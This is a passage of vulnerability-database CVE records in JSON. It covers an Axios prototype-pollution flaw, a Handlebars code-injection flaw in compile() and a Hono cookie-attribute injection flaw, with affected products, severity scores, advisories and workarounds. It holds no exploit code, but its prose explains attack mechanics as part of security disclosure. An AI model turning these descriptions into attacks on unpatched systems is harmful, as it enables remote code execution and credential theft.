"product": "Red Hat Satellite 6.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.10::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.11::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.11",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.6::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.8::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.9::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:0"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop - Tech Preview",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "unaffected",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:hummingbird:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Hardened Images",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Artifact Signer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-04-24T17:36:44.132Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Axios, an HTTP client library. This vulnerability allows an attacker to exploit a prototype pollution issue if another part of the application has already polluted the Object.prototype. By doing so, the attacker can intercept and modify JSON responses or take control of the HTTP communication. This could lead to unauthorized access to sensitive information like user credentials and request details."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-915",
"description": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-01T12:04:58.044Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-42033"
},
{
"name": "RHBZ#2461607",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461607"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42033.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25089"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16874"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24539"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25273"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22619"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21338"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33574"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14937"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25041"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24977"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17468"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17474"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21772"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16476"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16534"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16532"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16535"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16542"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22840"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22629"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21017"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24853"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19375"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22465"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:23361"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26214"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26232"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26225"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24536"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25271"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17657"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17699"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19109"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:25089: HawtIO HawtIO 4.4.0"
},
{
"lang": "en",
"value": "RHSA-2026:16874: Network Observability (NETOBSERV) 1.11.2"
},
{
"lang": "en",
"value": "RHSA-2026:24539: Red Hat Advanced Cluster Management for Kubernetes 2.15"
},
{
"lang": "en",
"value": "RHSA-2026:25273: Red Hat Advanced Cluster Management for Kubernetes 2.16"
},
{
"lang": "en",
"value": "RHSA-2026:20889: Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"lang": "en",
"value": "RHSA-2026:20938: Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"lang": "en",
"value": "RHSA-2026:22619: Red Hat Data Grid 8.6.1"
},
{
"lang": "en",
"value": "RHSA-2026:21338: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:33574: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:26234: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:14937: Red Hat Discovery 2"
},
{
"lang": "en",
"value": "RHSA-2026:25041: Red Hat Migration Toolkit 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:24977: Red Hat OpenShift AI 2.25"
},
{
"lang": "en",
"value": "RHSA-2026:17468: Red Hat OpenShift Container Platform 4.20"
},
{
"lang": "en",
"value": "RHSA-2026:17474: Red Hat OpenShift Container Platform 4.21"
},
{
"lang": "en",
"value": "RHSA-2026:21772: Red Hat OpenShift Dev Spaces 3.28"
},
{
"lang": "en",
"value": "RHSA-2026:16476: Red Hat OpenShift Service Mesh 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:16534: Red Hat OpenShift Service Mesh 3.0"
},
{
"lang": "en",
"value": "RHSA-2026:16532: Red Hat OpenShift Service Mesh 3.1"
},
{
"lang": "en",
"value": "RHSA-2026:16535: Red Hat OpenShift Service Mesh 3.2"
},
{
"lang": "en",
"value": "RHSA-2026:16542: Red Hat OpenShift Service Mesh 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:22840: Red Hat Quay 3.10"
},
{
"lang": "en",
"value": "RHSA-2026:22629: Red Hat Quay 3.12"
},
{
"lang": "en",
"value": "RHSA-2026:21017: Red Hat Quay 3.14"
},
{
"lang": "en",
"value": "RHSA-2026:24853: Red Hat Quay 3.15"
},
{
"lang": "en",
"value": "RHSA-2026:19375: Red Hat Quay 3.16"
},
{
"lang": "en",
"value": "RHSA-2026:22465: Red Hat Quay 3.17"
},
{
"lang": "en",
"value": "RHSA-2026:23361: Red Hat Quay 3.9"
},
{
"lang": "en",
"value": "RHSA-2026:26214: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:26232: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:26225: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:24536: multicluster engine for Kubernetes 2.10"
},
{
"lang": "en",
"value": "RHSA-2026:25271: multicluster engine for Kubernetes 2.11"
},
{
"lang": "en",
"value": "RHSA-2026:17657: multicluster engine for Kubernetes 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:17699: multicluster engine for Kubernetes 2.8"
},
{
"lang": "en",
"value": "RHSA-2026:19109: multicluster engine for Kubernetes 2.9"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-04-24T18:01:20.937Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-04-24T17:36:44.132Z",
"value": "Made public."
}
],
"title": "axios: Axios: HTTP Transport Hijacking via Prototype Pollution",
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.1"
},
{
"status": "affected",
"version": "\u003c 0.31.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, when Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process. This vulnerability is fixed in 1.15.1 and 0.31.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T17:36:44.132Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf"
}
],
"source": {
"advisory": "GHSA-pf86-5x62-jrwf",
"discovery": "UNKNOWN"
},
"title": "Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42033",
"datePublished": "2026-04-24T17:36:44.132Z",
"dateReserved": "2026-04-23T16:05:01.708Z",
"dateUpdated": "2026-07-01T12:04:58.044Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-33937 (GCVE-0-2026-33937)
Vulnerability from cvelistv5 – Published: 2026-03-27 21:03 – Updated: 2026-07-02 12:05| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| handlebars-lang | handlebars.js |
Affected:
>= 4.0.0, < 4.7.9
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33937",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-31T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-01T03:55:43.931Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:cluster_observability_operator:1.5::el9"
],
"defaultStatus": "affected",
"product": "Cluster Observability Operator 1.5.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
}
],
"datePublic": "2026-03-27T21:03:46.748Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Handlebars. An attacker can exploit this by supplying a crafted Abstract Syntax Tree (AST) object to the `Handlebars.compile()` function. This allows the injection and execution of arbitrary JavaScript code due to improper sanitization of the `value` field in `NumberLiteral` AST nodes. This vulnerability can lead to Remote Code Execution (RCE) on the server."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-02T12:05:17.643Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-33937"
},
{
"name": "RHBZ#2452523",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452523"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33937.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34342"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10175"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:34342: Cluster Observability Operator 1.5.0"
},
{
"lang": "en",
"value": "RHSA-2026:10175: Red Hat OpenShift Dev Spaces 3.27"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-03-27T22:02:50.619Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-03-27T21:03:46.748Z",
"value": "Made public."
}
],
"title": "handlebars.js: Handlebars: Remote Code Execution via crafted Abstract Syntax Tree object in compile()",
"workarounds": [
{
"lang": "en",
"value": "To mitigate this issue, ensure that any input provided to the `Handlebars.compile()` function is strictly validated to be a string type, preventing the injection of crafted Abstract Syntax Tree (AST) objects. Additionally, for deployments where templates are pre-compiled at build time, consider utilizing the Handlebars runtime-only build (`handlebars/runtime`). This build variant does not include the `compile()` function, thereby eliminating the attack vector. If the application is a service, a restart may be required for the changes to take effect."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "handlebars.js",
"vendor": "handlebars-lang",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.0.0, \u003c 4.7.9"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-843",
"description": "CWE-843: Access of Resource Using Incompatible Type (\u0027Type Confusion\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T21:03:46.748Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
},
{
"name": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"name": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"source": {
"advisory": "GHSA-2w6w-674q-4c4q",
"discovery": "UNKNOWN"
},
"title": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33937",
"datePublished": "2026-03-27T21:03:46.748Z",
"dateReserved": "2026-03-24T19:50:52.103Z",
"dateUpdated": "2026-07-02T12:05:17.643Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-29086 (GCVE-0-2026-29086)
Vulnerability from cvelistv5 – Published: 2026-03-04 22:09 – Updated: 2026-03-05 15:42- CWE-1113 - Inappropriate Comment Style
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-29086",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-05T15:29:14.844587Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-05T15:42:10.524Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.4"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.12.4, the setCookie() utility did not validate semicolons (;), carriage returns (\\r), or newline characters (\\n) in the domain and path options when constructing the Set-Cookie header. Because cookie attributes are delimited by semicolons, this could allow injection of additional cookie attributes if untrusted input was passed into these fields. This issue has been patched in version 4.12.4."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1113",
"description": "CWE-1113: Inappropriate Comment Style",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-04T22:09:01.488Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-5pq2-9x2x-5p6w",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-5pq2-9x2x-5p6w"
},
{
"name": "https://github.com/honojs/hono/commit/44ae0c8cc4d5ab2bed529127a4ac72e1483ad073",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/commit/44ae0c8cc4d5ab2bed529127a4ac72e1483ad073"
}
],
"source": {
"advisory": "GHSA-5pq2-9x2x-5p6w",
"discovery": "UNKNOWN"
},
"title": "Hono: Cookie Attribute Injection via Unsanitized domain and path in setCookie()"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-29086",
"datePublished": "2026-03-04T22:09:01.488Z",
"dateReserved": "2026-03-03T20:51:43.484Z",
"dateUpdated": "2026-03-05T15:42:10.524Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
